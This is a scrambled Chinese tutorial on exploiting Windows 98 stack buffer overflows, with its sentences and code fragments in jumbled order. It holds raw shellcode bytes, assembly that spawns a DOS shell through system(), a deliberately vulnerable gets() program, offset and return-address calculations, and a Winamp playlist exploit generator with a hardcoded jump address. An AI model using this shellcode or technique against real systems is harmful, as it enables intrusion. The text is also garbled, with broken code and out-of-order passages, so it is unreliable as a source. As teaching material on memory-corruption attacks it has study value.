【正文】 \xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8D\x45\xF4\x50 \xFF\x55\xF0 \x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E \x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4 \x50\xB8\x24\x98\x01\x78\xFF\xD0 \x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x50\xFF\x55\xFC。 fprintf(file, %s, buffer)。出來了嗎？ 哎呀，怎么又是錯誤？ WINAMP 在 017f:004200c3 的模塊 中導致無效頁錯誤。 char eip[8] = \xa3\x95\xf7\xbf。 fprintf(file, [playlist]\n)。 return 0。不同的 dll版本，里面的庫函數的偏移地址就可能（注意：是可能）不同。運行 sice，跟蹤你的 shellcode，會發(fā)現問題的根源的。我也曾經以為 windows 的堆棧溢出攻擊是不必要的。 在后續(xù)的研究中，有時候因為困難幾乎要放棄。 讓我們以下面這句話共勉： If you assume that there39。去年，我研究 的溢出之后，發(fā)現帶有問題的 windows 網絡服務程序導致了 windows 堆棧溢出，可以幫助我們獲得遠程控制。他的文章現在還在，大家可以去精華區(qū)看看。但是，這也無法消除對 LoadLibrary和 GetProcAddress 的地址的直接引用，因為這兩個是 shellcode中最基本的函數，自然就導致了對 版本的依賴。事實上，這也導致了 windows下的 exploit不具有通用性。 fclose(file)。 } buffer[x]=0。 我在第 4 講第一節(jié)就說過對這種問題的對策。 return 0。 fprintf(file, [playlist]\n)。 好了，所有的算法都討論完了，下一講我們就來實現一個 exploit ◆最后的完善 我們把前面寫的測試程序稍加改動就是一個 exploit程序： include int main() { char buffer[640]。 push ebp mov ebp,esp mov edx,0xFFFFFFFF sub edx,0x87FFAAFB//exit push edx xor eax,eax push eax call dword ptr[ebp04h] 簡單說一下， 是運行 C 語言標準庫函數所必須的一個動態(tài)鏈接庫。ok，問題解決，我們現在可以確定在buffer〔 580〕處，寫入四個字節(jié)：\xa3\x95\xf7\xbf.這就是我們的溢出字符串中的返回地址 A。我就不講了，其中 buffer 的內容為測試用的字符串。 fprintf(file, %s, buffer)。 case 3: buffer[x] = 39。 case 1: buffer[x] = 39。 char eip[8] = 。 好，那么我們的 shellcode最終為： NNNNNNNNNNNNNNNASSSSSSSS 其中： N為 NOP指令 A 為指向某一條 call/jmp 指令的地址，這個 call/jmp 指令位于系統核心內存 0x80000000，這個 call/jmp指令具體的內容，需要根據我們 exploit出來的結果分析得知。這些寄存器的值，我們可以在第一講里面提到的“關閉程序框”里面獲得寄存器和堆棧的詳細資料。事實上，這一技巧開創(chuàng)了一個嶄新的 windows 緩沖區(qū)溢出的思路。 其次， windows 在執(zhí)行 mov esp， ebp的時候，把廢棄不用的堆棧用隨機數據填充（實驗所得，機制如何，大家一起研究），因此我們的 shellcode 可能會被覆蓋?。@下完蛋了，我們的shellcode 都沒了，返回地址正確又有什么用？？ 所以，我們的 shellcode必須改成如下方式：NNNNNNNNNNNNNNNNNASSSSSSSSS,在緩沖區(qū)溢出發(fā)生之后，堆棧的布局如下： 內存底部 內存頂部 buffer EBP ret [NNNNNNNNNNN][N ] [A ]SSSS ^amp。理論上，你已經具備了利用堆棧溢出的 能力了，下面，我們通過實戰(zhàn)來真正掌握他。 ret = (int *)amp。好， DOS框出來了。 mov byte ptr [ebp04h],63h 。 mov byte ptr [ebp0ch],63h 。保存 ebp， esp－ 4 mov ebp,esp 。 。 所以，要想執(zhí)行 system,我們必須首先使用 LoadLibrary()裝載動態(tài)鏈接庫 ，獲得動態(tài)鏈接庫的句柄 。s。 (ProcAdd) (cmdbuf)。 開一個 dos窗口的程序如下： include include typedef void (*MYPROC)(LPTSTR)。那么， name 的開始地址是多少呢？ 通過上面的 stack dump 我們可以看到，當前 ESP所指向的地址 0x0064fe00，內容為 0x32383237,那么計算得出 ， name的 開 始 地 址 為 ：0x0064fe0044=0x64fdd4。 C:\Program Files\DevStudio\MyProjects\bo\Debugvunera~1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61 \0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61 到這里，出現了那個熟悉的對話框“該程序執(zhí)行了非法操作。 gets(name)。 windows 98第二版 首先，我們來寫一個問題程序： include int main() { char name[32]。那么我們可以給程序一個很長的串，肯定可以覆蓋堆棧中的返回地址。我們只要把 name 的開始地址放在溢出字符串的地址 40 就可以了。 首先，考慮一下我們的 shellcode要作什么？顯然，根據以往的經驗，我們想開一個 dos 窗口，這樣在這個窗口下，我們就可以作很多事情。 ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf)。這就是所謂的Dll39。 system 的偏移地址為 0x019824。現在， eax 的值為 0x78019824 就是system 的真實地址。把 ebp的內容賦值給 esp push ebp 。用來放 。 mov byte ptr [ebp05h],2Eh 。調用 system } } 編譯，然后運行。 LoadLibrary()。我們已經知道了在windows 系統下如何獲得一次堆棧溢出，如何計算偏移地址，以及如何編寫一個 shellcode 以得到 dos。 事實上，在上一講里面，我們已經掌握了很精確的找到這個位置的方法。我不得不說這是一個天才的想法。比如說，敵人的函數如果有參數的話，那么我們的 A覆蓋了他的返回地址 ， shellcode 的開始地址則恰恰在他的第一個參數的位置上，那我們就可以用 call [ebp+4]或者我們假設敵人第一個參數的地址在 eax，那我們就可以使用call/jmp eax來調用 shellcode。不過一般的說，這幾個dll就夠了。 include